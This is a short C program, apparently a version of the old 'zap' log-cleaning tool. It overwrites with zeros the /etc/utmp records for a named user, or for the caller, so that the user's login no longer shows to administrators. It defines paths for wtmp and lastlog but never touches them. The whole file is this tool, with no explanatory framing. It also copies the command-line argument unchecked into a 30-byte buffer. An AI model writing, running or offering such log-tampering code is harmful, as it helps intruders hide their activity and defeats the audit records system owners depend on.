#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
	struct utmp utmp_ent;
	int flag=0;
 
	if ((f=open(UTMP_NAME,O_RDWR))>=0) {
		while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
		if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
			bzero((char *)&utmp_ent,sizeof( utmp_ent ));
			lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
			write (f, &utmp_ent, sizeof (utmp_ent));
			flag++; 
		}
		close(f);
		if(!flag) printf("Unsuccessful.\n");
	}
}
 

main(argc,argv)
int argc;
char *argv[];
{
	char me[30];
	int i;
	struct passwd *myentry;
	
	if (argc==1) {
		myentry=getpwuid(getuid());
		strcpy(me,myentry->pw_name);
	} else strcpy(me,argv[1]);
	
	printf("ZAPing %s.\n",me);
    kill_utmp(me);
}
